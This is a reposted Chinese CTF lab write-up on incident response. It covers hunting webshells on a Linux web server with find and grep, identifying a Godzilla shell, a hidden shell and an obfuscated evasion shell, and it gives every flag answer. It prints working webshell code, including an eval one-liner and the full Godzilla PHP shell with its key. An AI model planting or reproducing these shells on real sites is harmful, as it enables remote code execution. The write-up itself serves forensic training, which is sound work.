欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 资讯 > 玄机靶场--第一章 应急响应-webshell查杀

玄机靶场--第一章 应急响应-webshell查杀

2025/1/30 7:23:25 来源:https://blog.csdn.net/2301_79469341/article/details/145388996  浏览:    关键词:玄机靶场--第一章 应急响应-webshell查杀

文章目录

    • 第一章 应急响应-webshell查杀
        • 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
        • 2.黑客使用的什么工具的shell github地址的md5 flag{md5}
        • 3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
        • 4.黑客免杀马完整路径 md5 flag{md5}
        • 利用工具查杀

题目简介

第一章 应急响应-webshell查杀

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.jsp" | xargs grep "exec(" 
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval(" 
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./include/gz.php:               eval($payload);
./include/Db/.Mysqli.php:               eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.asp" | xargs grep "execute(" 
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.aspx" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory

可以得到gz.php、.Mysqli.php、shell.php这三个webshell文件。

gz.php中,注释部分即为flag。gz.php文件内容如下:

<?php
@session_start();	//启动会话
@set_time_limit(0); //设置脚本执行时间限制为无限制
@error_reporting(0);//关闭错误报告
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){$data=encode($data,$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo encode(@run($data),$key);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}

哥斯拉PHP马经典特征:

  • session_start() 创建或者重启一个会话
  • @set_time_limit(0) 设置程序最长运行时间 永远
  • @error_reporting(0) 关闭错误报告
  • $key=xxxxxxxxx 加解密的盐值

观察gz.php中前三行,以及key值,可以得知这是哥斯拉的webshell

Godzilla项目地址:https://github.com/BeichenDream/Godzilla
md5加密:39392DE3218C333F794BEFEF07AC9257
flag{39392DE3218C333F794BEFEF07AC9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

linux下的隐藏文件或隐藏目录特征:

  • .开头
  • 直接使用ls命令无法查看,需要加上-a参数
  • 可以通过文件绝对路径访问

1、可以通过对比ls命令与ls -la命令的输出结果寻找这个隐藏文件

root@ip-10-0-10-1:/var/www/html/include/Db# ls -la
total 36
drwxr-xr-x 2 www-data www-data 4096 Aug  2  2023 .
drwxr-xr-x 4 www-data www-data 4096 Aug  2  2023 ..
-rw-r--r-- 1 www-data www-data  768 Aug  2  2023 .Mysqli.php
-rwxr-xr-x 1 www-data www-data 4752 Mar 14  2021 Mysqli.php
-rwxr-xr-x 1 www-data www-data 4921 Mar 14  2021 Mysql.php
-rwxr-xr-x 1 www-data www-data 4433 Mar 14  2021 Sqlite.php

2、可以通过搜索以.开头的文件

root@ip-10-0-10-1:/var/www/html# find ./ -type f -name ".*"
./data/.DS_Store
./template/taoCMS/.DS_Store
./template/.DS_Store
./.htaccess
./include/Model/.DS_Store
./include/Db/.Mysqli.php
./include/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/img/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/.DS_Store
./admin/template/images/xheditor/xheditor_skin/.DS_Store
./admin/.DS_Store

通过这两种方法都可以找到.Mysqli.php这个文件

路径:/var/www/html/include/Db/.Mysqli.php
MD5加密:AEBAC0E58CD6C5FAD1695EE4D1AC1919
flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
4.黑客免杀马完整路径 md5 flag{md5}

免杀马,要么做编码处理要么做变量嵌套要么函数调用要么类调用等等

php免杀马编码处理通常使用字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现。

可以通过匹配加解密函数来寻找,这里寻找base64解密函数base64_decode()

root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "base64_decode" 
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./wap/top.php:$fun = base64_decode($_GET['func']);

得到top.php内容如下:

<?php
$key = "password";//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
top.php路径:/var/www/html/wap/top.php
MD5加密:eeff2eabfd9b7a6d26fc1a53d3f7d1de
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
利用工具查杀

/var/www/html目录下的文件dump下来,这里使用D盾扫描。
在这里插入图片描述

扫描出的第二个木马gz.php,其中的注释部分即为第一问答案。

分析gz.php,根据前三行和key即可得知是哥斯拉木马流量特征,得到第二问答案。

扫描出的第三个木马top.php,即为免杀马。得到第四问答案。

扫描出的第四个木马.Mysqli.php,即为隐藏shell。得到第三问的答案。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com